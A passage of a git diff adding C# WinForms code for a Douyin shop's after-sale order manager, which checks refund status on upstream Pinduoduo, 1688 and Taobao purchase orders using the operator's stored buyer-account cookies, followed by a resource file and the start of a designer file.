BaseRegex.GetStringJson(ref html_x, "buyer_mobile"); // 买手号 + buyer_mobile_uid = BaseRegex.GetStringJson(ref html_x, "buyer_mobile_uid"); // 买手号ID + order_refund_status_buy = BaseRegex.GetStringJson(ref html_x, "order_refund_status_buy"); // 买手号售后状态 + order_remark = BaseRegex.GetStringJson(ref html_x, "remark"); + + if (string.IsNullOrEmpty(order_id_buy)) + { + } + } + } + + if (order_refund_status_buy == "0") + order_refund_status_buy = "1"; + + if (order_refund_status_buy != "2" && !string.IsNullOrEmpty(order_id_buy) && !string.IsNullOrEmpty(buyer_mobile_uid)) + { + string buyCookies = ""; + bool isReturn = false; + if (order_id_buy.Contains("-")) + { + var buyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == buyer_mobile_uid); + for (int kk = 0; buyer.Key != null && kk < buyer.Value.Cookies.Count; kk++) + { + buyCookies += buyer.Value.Cookies[kk].Name + "=" + buyer.Value.Cookies[kk].Value + "; "; + } + if (!string.IsNullOrEmpty(buyCookies)) + { + string url = BaseClass.PddMobileUrl + "order.html?order_sn=" + order_id_buy + "&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032"; + string refere = BaseClass.PddMobileUrl; + string html_x = GetPostTaobaoHtml.UploadTaobao(url, refere, true, buyCookies); + html_x = GetHtml.UrlDecode(html_x); + isReturn = html_x.Contains("退款成功(详情)"); + if (!isReturn) + isReturn = html_x.Contains("退款成功"); + if (isReturn) + { + } + if (html_x.Contains("window.rawData= null;")) + { + order_buy_error_msg = "总店买手号掉线"; + } + } + else + { + order_buy_error_msg = "未找到总店买手号"; + } + } + else if (order_id_buy.StartsWith("al-") || order_id_buy.StartsWith("1688-")) + { + var buyer = ALBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == buyer_mobile_uid); + for (int kk = 0; buyer.Key != null && kk < buyer.Value.Cookies.Count; kk++) + { + buyCookies += buyer.Value.Cookies[kk].Name + "=" + buyer.Value.Cookies[kk].Value + "; "; + } + if (!string.IsNullOrEmpty(buyCookies)) + { + string url = "https://trade.1688.com/order/new_step_order_detail.htm?orderId=" + order_id_buy + "&tracelog=20120313bscentertologisticsbuyer&"; + string refere = "https://trade.1688.com/order/buyer_order_list.htm?tracelog=work_2_m_buyList"; + string html_x = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buyCookies); + isReturn = html_x.Contains("退款成功"); + if (html.Contains("登录页面") || html.Contains("命令参数不对")) + { + order_buy_error_msg = "总店买手号掉线"; + } + } + else + { + order_buy_error_msg = "未找到总店买手号"; + } + } + else + { + var buyer = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == buyer_mobile_uid); + for (int kk = 0; buyer.Key != null && kk < buyer.Value.Cookies.Count; kk++) + { + buyCookies += buyer.Value.Cookies[kk].Name + "=" + buyer.Value.Cookies[kk].Value + "; "; + } + if (!string.IsNullOrEmpty(buyCookies)) + { + string url = "https://buyertrade.taobao.com/trade/detail/trade_item_detail.htm?bizOrderId=" + order_id_buy; + string refere = ""; + string html_x = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buyCookies); + isReturn = html_x.Contains("退款成功"); + if (html.Contains("登录页面")) + order_buy_error_msg = "总店买手号掉线"; + } + else + { + order_buy_error_msg = "未找到总店买手号"; + } + } + + if (isReturn) + { + order_refund_status_buy = "2"; + } + + if (afterSale.aftersale_info.aftersale_status == 12 && afterSale.aftersale_info.refund_type == 1 && order_refund_status_buy == "2") + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + afterSale.aftersale_info.related_id); + sb.Append("&refund_status=1"); + sb.Append("&order_status_buy=4"); + sb.Append("&order_refund_status_buy=" + order_refund_status_buy); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string url = BaseClass.DouYinBuildObjString("order&act=update"); + var result = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + + LstFinishedOrderId.Add(afterSale.aftersale_info.aftersale_id); + } + } + + string tuikuanfangshi = ""; + switch (afterSale.aftersale_info.refund_type) + { + case 1: + tuikuanfangshi = "极速退款助手"; + break; + case 2: + tuikuanfangshi = "售后小助手"; + break; + case 3: + tuikuanfangshi = "售后急速退"; + break; + case 4: + tuikuanfangshi = "闪电退货"; + break; + } + + string shouhouzhuangtai = ""; + switch (afterSale.aftersale_info.aftersale_status) + { + case 2: + shouhouzhuangtai = "发货前退款待处理"; + break; + case 3: + shouhouzhuangtai = "发货后仅退款待处理"; + break; + case 4: + shouhouzhuangtai = "退货待处理"; + break; + case 5: + shouhouzhuangtai = "换货待处理"; + break; + case 6: + shouhouzhuangtai = "同意退款,退款失败"; + break; + case 7: + shouhouzhuangtai = "同意退款,退款成功"; + break; + case 8: + shouhouzhuangtai = "待商家处理"; + break; + case 9: + shouhouzhuangtai = "待商家收货"; + break; + case 10: + shouhouzhuangtai = "同意退款,退款中"; + break; + case 11: + shouhouzhuangtai = "仲裁中"; + break; + case 12: + shouhouzhuangtai = "售后关闭"; + break; + case 13: + shouhouzhuangtai = "待买家退货"; + break; + case 14: + shouhouzhuangtai = "等待用户收货"; + break; + case 15: + shouhouzhuangtai = "换货成功"; + break; + case 16: + shouhouzhuangtai = "拒绝售后"; + break; + case 17: + shouhouzhuangtai = "退货后拒绝退款"; + break; + case 18: + shouhouzhuangtai = "待商家上传凭证"; + break; + case 19: + shouhouzhuangtai = "仲裁中-待商家举证"; + break; + case 20: + shouhouzhuangtai = "仲裁中-待商家举证或协商期"; + break; + case 28: + shouhouzhuangtai = "售后关闭"; + break; + } + shouhouzhuangtai = afterSale.text_part.aftersale_status_text; + + var tuikuanzhaungtai = "待退款"; + switch (afterSale.aftersale_info.refund_status) + { + case 0: + tuikuanzhaungtai = "无需退款"; + break; + case 1: + tuikuanzhaungtai = "待退款"; + break; + case 2: + tuikuanzhaungtai = "退款中"; + break; + case 3: + tuikuanzhaungtai = "退款成功"; + break; + case 4: + tuikuanzhaungtai = "退款失败"; + break; + } + + // 售后类型 退货退款 仅退货 等 + var shouhouleixing = ""; + shouhouleixing = afterSale.text_part.aftersale_type_text; + + //售后订单 一个订单多个售后 + foreach (var item in afterSale.order_info.related_order_info) + { + try + { + string shangpinguige = ""; + foreach (var sku_spec in item.sku_spec) + { + shangpinguige += sku_spec.name + ":" + sku_spec.value + ";"; + } + string dingdanzhuangtai = ""; + switch (item.order_status) + { + case 2: + dingdanzhuangtai = "未发货"; + break; + case 3: + dingdanzhuangtai = "已发货"; + break; + case 5: + dingdanzhuangtai = "已收货或已完成"; + break; + case 255: + dingdanzhuangtai = "已完成"; + break; + } + string seller_log = ""; + if (afterSale.seller_logs != null && afterSale.seller_logs.Count > 0) + { + seller_log = afterSale.seller_logs[0].content; + } + if (string.IsNullOrEmpty(seller_log)) + seller_log = order_remark; + + apix = new DouyinApi(shop); + dic = new Dictionary() { }; + dic.Add("after_sale_id", afterSale.aftersale_info.aftersale_id.ToString()); + apix.JsonData = dic; + string detail_html = apix.GetAfterSaleDetail(); + + // 更新服务端售后状态 + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + afterSale.aftersale_info.related_id); + sb.Append("&refund_status=1"); + sb.Append("&order_status_buy=4"); + sb.Append("&order_refund_status_buy=" + order_refund_status_buy); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string url = BaseClass.DouYinBuildObjString("order&act=update"); + var result = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + var order_buy_msg = order_buy_error_msg; + if (string.IsNullOrEmpty(order_buy_msg) || order_refund_status_buy == "2") + order_buy_msg = order_refund_status_buy == "2" ? "总店已退款" : "未退款"; + + if (this.Created) + { + Invoke(new Action(() => + { + int rowId = DgvSaleOrderList.Rows.Add( + /*"售后单号"*/ afterSale.aftersale_info.aftersale_id, + /*"店铺名称"*/ shop.ShopName, + /*"店铺编号"*/ shop.ShopId, + /*"上家ID"*/ up_product_id, + /*"本店ID"*/ item.product_id, + /*"商品名称"*/ item.product_name, + /*"商品规格"*/ shangpinguige, + /*"售后商品数量"*/ item.aftersale_item_num, + /*"商品金额"*/ (item.price * 0.01), + /*"优惠金额"*/ (item.promotion_pay_amount * 0.01), + /*"付款金额"*/ (item.pay_amount * 0.01), + /*"物流金额"*/ (item.post_amount * 0.01), + /*"订单状态"*/ dingdanzhuangtai, + /*"订单号"*/ afterSale.aftersale_info.related_id, + /*"购买数量"*/ item.item_num, + /*"拍单时间"*/ BaseClass.StampToDateTime(item.create_time).ToString("yyyy-MM-dd HH:mm:ss"), + /*"拍单订单号"*/ order_id_buy, + /*"买手号"*/ buyer_mobile, + /*"买手号ID"*/ buyer_mobile_uid, + /*"退货物流公司"*/ afterSale.aftersale_info.return_logistics_company_name, + /*"退货物流单号"*/ afterSale.aftersale_info.return_logistics_code, + /*"总店(买手)售后状态"*/ order_buy_msg, + /*"售后类型"*/ shouhouleixing, + /*"售后状态"*/ shouhouzhuangtai, + /*"退款方式"*/ tuikuanfangshi, + /*"退款状态"*/ tuikuanzhaungtai, + /*"退款原因"*/ JObject.Parse(detail_html)?["data"]?["process_info"]?["after_sale_info"]?["reason"]?.ToString().Replace(" ", ""), + /*"申请售后时间"*/ BaseClass.StampToDateTime(afterSale.aftersale_info.apply_time).ToString("yyyy-MM-dd HH:mm:ss"), + /*"最近更新时间"*/ BaseClass.StampToDateTime(afterSale.aftersale_info.update_time).ToString("yyyy-MM-dd HH:mm:ss"), + /*"售后退款类型"*/ (afterSale.aftersale_info.aftersale_order_type == -1 ? "历史订单" : afterSale.aftersale_info.aftersale_order_type == 1 ? "商品单" : "店铺单"), + /*"售后退款金额"*/ (item.aftersale_pay_amount * 0.01), + /*"售后退运费金额"*/ (item.aftersale_post_amount * 0.01), + /*"买家是否收到货物"*/ (afterSale.aftersale_info.got_pkg == 0 ? "未收到" : "收到"), + /*"买家留言"*/ afterSale.aftersale_info.remark, + /*"售后备注"*/ seller_log + ); + var row = DgvSaleOrderList.Rows[rowId]; + AfterSaleDgvRowShowHideFilter(row); + })); + } + } + catch (Exception ex) + { + } + } + } + if (JObject.Parse(html)["data"]["size"].ToString() == "10") + { + page++; + goto readerOrder; + } + } + isread = false; + Invoke(new Action(() => { this.mainform.lblMsg.Text = "状态:准备就绪"; })); + } + + public bool SelectOrder(string order_id) + { + IEnumerable enumerableList = this.DgvSaleOrderList.Rows.Cast(); + bool isexist = false; + for (int i = 0; i < DgvSaleOrderList.Rows.Count; i++) + { + string orderid = DgvSaleOrderList.Rows[i].Cells["col_order_id"].Value.ToString(); + string title = DgvSaleOrderList.Rows[i].Cells["col_title"].Value.ToString(); + string productId = DgvSaleOrderList.Rows[i].Cells["col_product_id"].Value.ToString(); + string aftersale_id = DgvSaleOrderList.Rows[i].Cells["col_aftersale_id"].Value.ToString(); + string order_id_buy = DgvSaleOrderList.Rows[i].Cells["order_id_buy"].Value.ToString(); + if (string.IsNullOrEmpty(order_id) || orderid.Contains(order_id) || title.Contains(order_id) || productId.Contains(order_id) || + aftersale_id.Contains(order_id) || order_id_buy.Contains(order_id)) + { + DgvSaleOrderList.Rows[i].Visible = true; + isexist = true; + } + else + { + DgvSaleOrderList.Rows[i].Visible = false; + } + } + return isexist; + } + private void dgvAfterSaleOrderList_CellMouseLeave(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex != -1) + { + if (e.RowIndex % 2 == 0) + { + DgvSaleOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.FromArgb(244, 244, 244); + } + else + { + DgvSaleOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.White; + } + } + } + + private void dgvAfterSaleOrderList_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex != -1) + { + DgvSaleOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.SkyBlue; + } + } + + private void dgvAfterSaleOrderList_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + try + { + + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string aftersale_id = DgvSaleOrderList.Rows[e.RowIndex].Cells["col_aftersale_id"].Value.ToString(); + string orderid = DgvSaleOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + string shopid = DgvSaleOrderList.Rows[e.RowIndex].Cells["shopId"].Value.ToString(); + string name = DgvSaleOrderList.Columns[e.ColumnIndex].HeaderText; + if (name == "售后订单编号") + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + ShopBrower shopBrower = new ShopBrower(); + shopBrower.TitleText = "店铺后台-售后"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/aftersale/detail?type=1&aftersale_id=" + aftersale_id; + shopBrower.Show(); + } + else if (name == "订单号") + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + if (shop != null) + { + ShopForms.ShopBrower shopBrower = new ShopForms.ShopBrower(); + shopBrower.TitleText = "店铺后台"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/order/detail?id=" + orderid; + shopBrower.Show(); + } + } + else if (name == "拍单订单号") + { + string orderId = ""; + string orderurl = ""; + string buyer_mobile = DgvSaleOrderList.Rows[e.RowIndex].Cells["buy_user"].Value?.ToString(); + + if (DgvSaleOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value != null) + { + orderId = DgvSaleOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + } + string buyOrderId = DgvSaleOrderList.Rows[e.RowIndex].Cells["order_id_buy"].Value.ToString(); + + + string buycookies = ""; + if (buyOrderId.Contains("-")) + { + // 拼多多批发订单 + if (buyer_mobile.StartsWith("pdd")) + { + var pddPifaBuyer = AllBase.Helper.GlobalConfig.LstPddPifaShop.FirstOrDefault(s => s.PddId == buyer_mobile); + if (pddPifaBuyer == null) + { + BaseMsgForm.ShowError("拼多多批发拍单买手号未找到"); + return; + } + buycookies = pddPifaBuyer.CookieStr; + orderurl = "https://pifa.pinduoduo.com/order"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单列表 " + buyOrderId; + buyProductBrower.Width = 1280; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + else + { + orderurl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderId + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + var dicbuyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == DgvSaleOrderList.Rows[e.RowIndex].Cells["buy_user_id"].Value.ToString()); + if (dicbuyer.Key == null) + { + BaseMsgForm.ShowError("拼多多拍单买手号未找到"); + return; + } + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + else + { + var upId = this.DgvSaleOrderList.Rows[e.RowIndex].Cells["col_up_product_id"].Value.ToString(); + if (ALBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = ALBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == DgvSaleOrderList.Rows[e.RowIndex].Cells["buy_user_id"].Value.ToString()); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + + if (string.IsNullOrEmpty(buycookies)) + { + if (TaoBaoBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == DgvSaleOrderList.Rows[e.RowIndex].Cells["buy_user_id"].Value.ToString()); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + } + orderurl = "https://buyertrade.taobao.com/trade/detail/trade_item_detail.htm?bizOrderId=" + order_id_buy; + if (upId.StartsWith("al-") || upId.StartsWith("1688-")) + orderurl = "https://trade.1688.com/order/order_detail.htm?spm=a360q.8274423.0.0.49c84c9apfOGVj&order_id=" + order_id_buy; + if (string.IsNullOrEmpty(buycookies)) + { + BaseMsgForm.ShowConfirm("无此买手号", "提示"); + return; + } + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + //buyProductBrower.buyermobile = douyinModel.buyer_mobile; + buyProductBrower.Width = 1080; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + } + catch (Exception) + { + + } + } + + private void afterSaleOrderMenu_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var buyOrderId = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + switch (tsmenu.Text) + { + case "更新订单": + editOrder(buyOrderId); + break; + } + + } + + + void editOrder(string orderid) + { + IEnumerable enumerableList = this.DgvSaleOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == orderid select item).ToList(); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["shopId"].Value.ToString()); + if (shop != null) + { + DouyinApi dyapi = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", orderid); + dyapi.JsonData = dic; + string htmljm = dyapi.GetOrderDetail(); + string code = JObject.Parse(htmljm)["code"]?.ToString(); + if (code == "10000") + { + try + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + sb.Append("&order_status=" + JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString()); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + + int order_status = Convert.ToInt32(JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString()); + + string orderstatus = ""; + //订单状态1 待确认/ 待支付(订单创建完毕)105 已支付 2 备货中 101 部分发货 3 已发货(全部发货)4 已取消5 已完成(已收货) + switch (order_status) + { + case 1: + orderstatus = "待确认/ 待支付"; + break; + case 105: + orderstatus = "已支付"; + break; + case 2: + orderstatus = "备货中"; + break; + case 101: + orderstatus = "部分发货"; + break; + case 3: + orderstatus = "已发货(全部发货)"; + break; + case 4: + orderstatus = "已取消"; + break; + case 5: + orderstatus = "已完成(已收货)"; + break; + } + + + var item = DgvSaleOrderList.Rows[list[0].Index]; + + sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + string upjmurl = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string data = JObject.Parse(html)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel != null) + { + item.Cells["aftersalestatus"].Value = orderstatus; + item.Cells["buy_user"].Value = douYinOrderModel.buyer_mobile; + } + } + catch (Exception ex) + { + + } + } + } + } + + + + /// + /// 点击行列 + /// + private DataGridViewCellMouseEventArgs mouseEvent; + private void dgvAfterSaleOrderList_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + try + { + mouseEvent = e; + + var row = DgvSaleOrderList.Rows[mouseEvent.RowIndex]; + var orderId = row.Cells["col_order_id"].Value.ToString(); + var aftersale_type = row.Cells["col_aftersale_type"].Value.ToString(); + var aftersale_status = row.Cells["aftersale_stutas"].Value.ToString(); + + if (aftersale_type == "退货退款" && aftersale_status == "待商家处理") + { + 退货退款ToolStripMenuItem.Visible = true; + } +#if DEBUG + //退货退款ToolStripMenuItem.Visible = true; +#endif + } + catch (Exception) + { + + } + } + + private void colore_clicke(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var orderId = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + var shopid = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["shopId"].Value.ToString(); + int color = 3; + switch (tsmenu.Text) + { + case "灰色": + color = 0; + break; + case "紫色": + color = 1; + break; + case "蓝色": + color = 2; + break; + case "绿色": + color = 3; + break; + case "橙色": + color = 4; + break; + case "红色": + color = 5; + break; + } + mainform.chaqi(orderId, color, shopid); + } + + private void 处理售后ToolStripMenuItem_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null || mouseEvent.RowIndex < 0 || mouseEvent.ColumnIndex < 0) + { + return; + } + var shopid = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["shopId"].Value.ToString(); + string aftersale_id = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_aftersale_id"].Value.ToString(); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + ShopBrower shopBrower = new ShopBrower(); + shopBrower.TitleText = "店铺后台-售后"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/aftersale/detail?type=1&aftersale_id=" + aftersale_id; + shopBrower.Show(); + } + + private void 上家订单ToolStripMenuItem_Click(object sender, EventArgs e) + { + string buyOrderId = ""; + if (DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value != null) + { + buyOrderId = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + } + string buyOrderNum = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["order_id_buy"].Value.ToString(); + + var dicbuyer = PddBuyUser.buyUserCookies.First(x => x.Value.uid == DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["buy_user_id"].Value.ToString()); + string buycookies = ""; + for (int kk = 0; kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderNum + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + buyProductBrower.Show(); + } + + private void 修改备注ToolStripMenuItem_Click(object sender, EventArgs e) + { + var orderId = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + var remark = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["aftersalemark"].Value.ToString(); + var shopid = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["shopId"].Value.ToString(); + RemarkEditForm r = new RemarkEditForm(orderId, remark); + r.ShowDialog(); + if (remark != r.NewRemark) + DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["aftersalemark"].Value = r.NewRemark; + } + + public void SetDgvHeaders(bool isEditDgvHeaders = true) + { + if (isEditDgvHeaders) + { + DgvHeaderEditForm df = new DgvHeaderEditForm(this.DgvSaleOrderList); + df.TitleText = "编辑售后列表表头"; + df.ShowDialog(); + } + DgvHeaderEditForm.SetDgvHeaderVisible(this.DgvSaleOrderList); + } + + private void 编辑ToolStripMenuItem_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var orderId = DgvSaleOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + + var sb = new StringBuilder(); + sb.Append("&order_id=" + orderId); + string url_detail = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string html_detail = GetHtml.PostUtf8(url_detail, UserLogin.GetSignaturex() + sb.ToString()); + if (html_detail.Contains("\"code\":200")) + { + string data = JObject.Parse(html_detail)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel != null) + { + OrderEdit ed = new OrderEdit(); + ed.formtype = 4; + ed.afterSaleOrderListForm = this; + ed.orderDetail = douYinOrderModel; + ed.ShowDialog(); + } + } + } + + public void RreshUpIds(string orderid) + { + for (int i = 0; i < DgvSaleOrderList.Rows.Count; i++) + { + var item = DgvSaleOrderList.Rows[i]; + var tempOrderId = item.Cells["col_order_id"].Value == null ? "" : item.Cells["col_order_id"].Value.ToString(); + if (tempOrderId != orderid) + { + continue; + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + string url = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string html = GetHtml.PostUtf8(url, param); + string data = JObject.Parse(html)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel != null) + { + item.Cells["col_up_product_id"].Value = (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids); + item.Cells["buy_user"].Value = douYinOrderModel.buyer_mobile; + item.Cells["order_id_buy"].Value = douYinOrderModel.order_id_buy; + item.Cells["aftersalemark"].Value = douYinOrderModel.remark; + } + } + } + + private void 隐藏该订单ToolStripMenuItem_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var row = DgvSaleOrderList.Rows[mouseEvent.RowIndex]; + var orderId = row.Cells["col_order_id"].Value.ToString(); + + row.Visible = false; + DicHideAfterSaleOrder[orderId] = DateTime.Now; + ConfigHelper.SaveConfig("hide_after_sale_order", DicHideAfterSaleOrder); + 显示所有隐藏售后ToolStripMenuItem.Visible = true; + } + + private void 显示隐藏售后ToolStripMenuItem_Click(object sender, EventArgs e) + { + 显示所有隐藏售后ToolStripMenuItem.Visible = false; + DicHideAfterSaleOrder.Clear(); + ConfigHelper.SaveConfig("hide_after_sale_order", DicHideAfterSaleOrder); + + foreach (DataGridViewRow row in this.DgvSaleOrderList.Rows) + { + AfterSaleDgvRowShowHideFilter(row); + } + } + + private void 退货退款ToolStripMenuItem_Click(object sender, EventArgs e) + { + if (mouseEvent == null) + { + return; + } + var rIndex = mouseEvent.RowIndex; + + var shopid = DgvSaleOrderList.Rows[rIndex].Cells["shopId"].Value.ToString(); + var orderId = DgvSaleOrderList.Rows[rIndex].Cells["col_order_id"].Value.ToString(); + var afterSaleId = DgvSaleOrderList.Rows[rIndex].Cells["col_aftersale_id"].Value.ToString(); + AfterSaleReturnRefundForm afrr = new AfterSaleReturnRefundForm(afterSaleId, orderId, shopid); + afrr.ShowDialog(); + + if (afrr.ResultFlag == true) + { + DgvSaleOrderList.Rows[rIndex].Cells["aftersale_stutas"].Value = "待买家退货"; + } + } + + private void contextMenuStrip1_VisibleChanged(object sender, EventArgs e) + { + + } + + private void DgvSaleOrderList_MouseDown(object sender, MouseEventArgs e) + { + 退货退款ToolStripMenuItem.Visible = false; + } + + public void SetFinishOrderVisible() + { + foreach (DataGridViewRow row in DgvSaleOrderList.Rows) + { + AfterSaleDgvRowShowHideFilter(row); + } + } + } +} diff --git a/29WxOrder/OrderForms/AfterSaleOrderListForm.resx b/29WxOrder/OrderForms/AfterSaleOrderListForm.resx new file mode 100644 index 0000000..39b9a61 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleOrderListForm.resx @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.Designer.cs b/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.Designer.cs new file mode 100644 index 0000000..b84d60a --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.Designer.cs @@ -0,0 +1,39 @@ +namespace _29WxOrder.OrderForms +{ + partial class AfterSaleOrderRefundAddressForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + 